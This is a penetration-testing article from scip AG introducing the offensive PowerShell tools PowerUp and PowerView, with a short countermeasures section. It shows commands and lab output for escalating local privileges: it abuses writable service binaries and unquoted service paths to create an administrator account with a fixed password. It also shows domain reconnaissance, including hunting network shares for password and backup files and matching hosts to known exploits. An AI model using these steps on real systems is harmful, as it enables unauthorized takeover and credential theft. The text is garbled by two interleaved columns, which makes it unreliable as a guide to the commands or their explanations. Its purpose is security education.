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Offensive Powershell - Introduction to Powertools Offensive PowerShell - Introduction to PowerTools Michael Schneider Marc Ruef (Editor) Offense Department, scip AG Research Department, scip AG [email protected] [email protected] https://www.scip.ch https://www.scip.ch Keywords: Active Directory, Backup, Block, Exploit, Framework, GitHub, HTTP, Master, Microsoft, Password 1. Preface [+] Vulnerable service executable: This paper was written in 2015 as part of a research project ProcessExplorerService - C:\Program Files\procexp.exe at scip AG, Switzerland. It was initially published online at [+] Vulnerable service executable: https://www.scip.ch/en/?labs.20150806 and is available in ProcessMonitorService - C:\Program English and German. Providing our clients with innovative Files\Sysinternals\Process research for the information technology of the future is an Monitor\Procmon.exe essential part of our company culture. [*] Checking service permissions... 2. Introduction [*] Checking for unattended install files... PowerShell is a tool with many uses. In earlier Labs [*] Checking %PATH% for potentially articles, I have covered the basics [1] of PowerShell in hijackable .dll locations... context of penetration testing and I’ve tried to block [*] Checking for AlwaysInstallElevated PowerShell [2]. Here, I’ll show you how to use PowerShell registry key... as an offensive tool. To that effect, I have used PowerTools [3] that is part of the Veil-Framework [4] project. [*] Checking for Autologon credentials in registry... 3. PowerUp: Local Attacks [*] Checking for encrypted web.config strings... PowerUp [5] is a tool that supports local privilege escalation attacks against Microsoft Windows systems. It [*] Checking for encrypted application pool was developed by Will Schroeder [6] alias @harmj0y [7]. and virtual directory passwords... PowerUp consists of a PS1-File and is loaded into a PS- There are two possible attack vectors for each service. The Session using the command Import-Module. The function service ProccessExplorerService grants writing rights on Invoke-AllChecks checks the system configuration and lists file procexp.exe to regular local users. Therefore, any other possible attack vectors. Using this function on a Windows 9 file can replace this file. There’s a PowerUp function called client in my test environment, I have found two services Write-ServiceEXE that creates a file that in turn adds a local that I can manipulate using normal user privileges. user to the system who has local administrator privileges. PS C:\Tools\PowerUp> Invoke-AllChecks This file is used to overwrite the service’s file. [*] Running Invoke-AllChecks To retain the ability to reverse this process after successful user creation, the original file should be backed up. Write- [*] Checking if user is in a local group with ServiceEXE automatically creates a backup of the file it administrative privileges... replaces. [*] Checking for unquoted service paths... [*] Use 'Write-UserAddServiceBinary' or Before the attack, an attacker should check if the user 'Write-CMDServiceBinary' to abuse account he uses has sufficient rights to create a copy of a file in the directory. Should this not be the case, the file [+] Unquoted service path: ProcessExplorerService - C:\Program needs to be backed up manually in order to remain as Files\procexp.exe undetected as possible and to reverse the process once the [+] Unquoted service path: file in the directory has been replaced. ProcessMonitorService - C:\Program Files\Sysinternals\Process The subsequent example creates an error message that says Monitor\Procmon.exe procexp.exe has been overwritten but saving the file failed. [*] Checking service executable Regardless of this, when the service starts up again, the permissions... manipulated file is executed and the user scip_admin is [*] Use 'Write-ServiceEXE -ServiceName SVC' created. The result: The attacker has a local administrator or 'Write-ServiceEXECMD' to abuse account at his disposal. PS C:\Tools\PowerUp> Write-ServiceEXE - [+] dc01.labs.scip.ch - Share: IPC$ : ServiceName ProcessExplorerService -UserName Remote IPC scip_admin [+] dc01.labs.scip.ch - Share: NETLOGON Move-Item : Access to the path is denied. : Logon server share At C:\Tools\PowerUp\PowerUp.ps1:689 char:13 [+] dc01.labs.scip.ch - Share: SYSVOL : + Move-Item $ServicePath Logon server share $BackupPath [+] dc01.labs.scip.ch - Share: Users : + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+] Server: client02.labs.scip.ch + CategoryInfo : [+] IP: 192.168.78.135 PermissionDenied: (C:\Program [+] client02.labs.scip.ch - Logged-on - Files\procexp.exe:FileInfo) [Move-Item], LABS\\sysop UnauthorizedAccessException [+] client02.labs.scip.ch - Logged-on - + FullyQualifiedErrorId : LABS\\sysop MoveFileInfoItemUnauthorizedAccessError,Micro [+] client02.labs.scip.ch - Logged-on - soft.PowerShell.Commands.MoveItemCommand LABS\\sysop [+] client02.labs.scip.ch - Logged-on - [*] Binary for service LABS\\sysop 'ProcessExplorerService' to create user [+] client02.labs.scip.ch - Logged-on - 'scip_admin : Password123!' written to LABS\\jdoe 'C:\Program Files\procexp.exe' [+] client02.labs.scip.ch - Share: ADMIN$ : Remote Admin When they defined the service ProcessMonitorService the [+] client02.labs.scip.ch - Share: C$ : path to the executable was defined without using quotation Default share [+] client02.labs.scip.ch - Share: IPC$ marks. The complete path therefore is C:\Program : Remote IPC Files\Sysinternal\Process Monitor\Procmon.exe. When starting the service, Windows will look for executable files The command Invoke-ShareFinder crawls the network and after every space. Therefore, it doesn’t look for just lists shares by system. Even hidden shares appear in the Procon.exe but also for the following files, in case they list, suffixed with $. These shares are not displayed in exist: Windows Explorer’s default view. Using Invoke- FileFinder, an attacker can search for files in the listed C:\Program.exe shares. Calling the function without any additional C:\Program Files\Sysinternal\Process.exe parameters, it looks for files containing the strings pass, sensitive, secret, admin, login or unattend*.xml in their In order to exploit this misconfiguration, an attacker needs filename. Additional parameters for searching for patterns the right to write to these directories. By default, as well as strings can be added using -Terms. In the unprivileged users do not have writing rights to directories following example, I’ll search for ZIP files. filed under C:\Program Files. In this example, the permissions of sub-directory Sysinternal allow regular PS C:\Tools\PowerView> Invoke-FileFinder users to write files. Using the PowerUp function Write- FullName : UserAddServiceBinary an attacker can create a file that \\dc01.labs.scip.ch\Backup$\passwords.txt creates a new user. This file is copied to directory Owner : BUILTIN\Administrators Sysinternals and will be named Process.exe. When the LastAccessTime : 02.07.2015 07:17:40 service is restarted, a new user named scip_admin2 is LastWriteTime : 02.07.2015 07:18:06 created. The result: The attacker has a local administrator Length : 44 account at his disposal. PS C:\Tools\PowerView> Invoke-FileFinder - Terms *.zip 4. PowerView: A Walk Through the Domain FullName : PowerView, also developed by Will Schroeder, is a tool that \\dc01.labs.scip.ch\Backup$\backup-01.zip uses Windows domain function in order to gather Owner : BUILTIN\Administrators LastAccessTime : 02.07.2015 07:17:13 information about a network and its users. All the tool’s LastWriteTime : 02.07.2015 07:17:13 options are sending legitimate requests that can be executed Length : 0 in the context of the rights of a domain user. Some functions, called MetaFunctions, have their origin in a toll FullName : \\dc01.labs.scip.ch\Backup$\backup-02.zip named netview [8] by Security Researchers Rob Fuller [9] Owner : BUILTIN\Administrators alias mubix [10]. It doesn’t take much to find information LastAccessTime : 02.07.2015 07:17:25 about users, computers and shares. LastWriteTime : 02.07.2015 07:17:13 Length : 0 PS C:\Tools\PowerView> Invoke-Netview Running Netview with delay of 0 FullName : [+] Domain Controller: dc01.labs.scip.ch \\dc01.labs.scip.ch\Backup$\backup-03.zip [*] Total number of hosts: 2 Owner : BUILTIN\Administrators LastAccessTime : 02.07.2015 07:17:32 [+] Server: dc01.labs.scip.ch LastWriteTime : 02.07.2015 07:17:13 [+] IP: 192.168.78.100 Length : 0 [+] dc01.labs.scip.ch - Share: ADMIN$ : Remote Admin Every computer object in the Active Directory has the [+] dc01.labs.scip.ch - Share: Backup$ : version of the operating system including version and [+] dc01.labs.scip.ch - Share: C$ : Service Pack added. The function Get-ExploitableSystems Default share [+] dc01.labs.scip.ch - Share: Data : reads this information and cross-references it with a list of Files\Sysinternals\Process publicly known exploits. Monitor\Procmon.exe 6. Countermeasures PS C:\Tools\PowerView> Get-ExploitableSystems ComputerName : dc01.labs.scip.ch There’s no universal defence against the attacks named in OperatingSystem : Windows Server 2008 R2 this article. The defence against attacks like these begins in Standard the configuration of the operating system and the network. ServicePack : LastLogon : 02.07.2015 07:10:13 When configuring services, make sure that paths MsfModule : exploit/windows/smb/ms10_061_spoolss are always supplied with quotation marks and that CVE : the user of the service has the least possible http://www.cvedetails.com/cve/2010-2729 privileges Avoid having users with administrator rights
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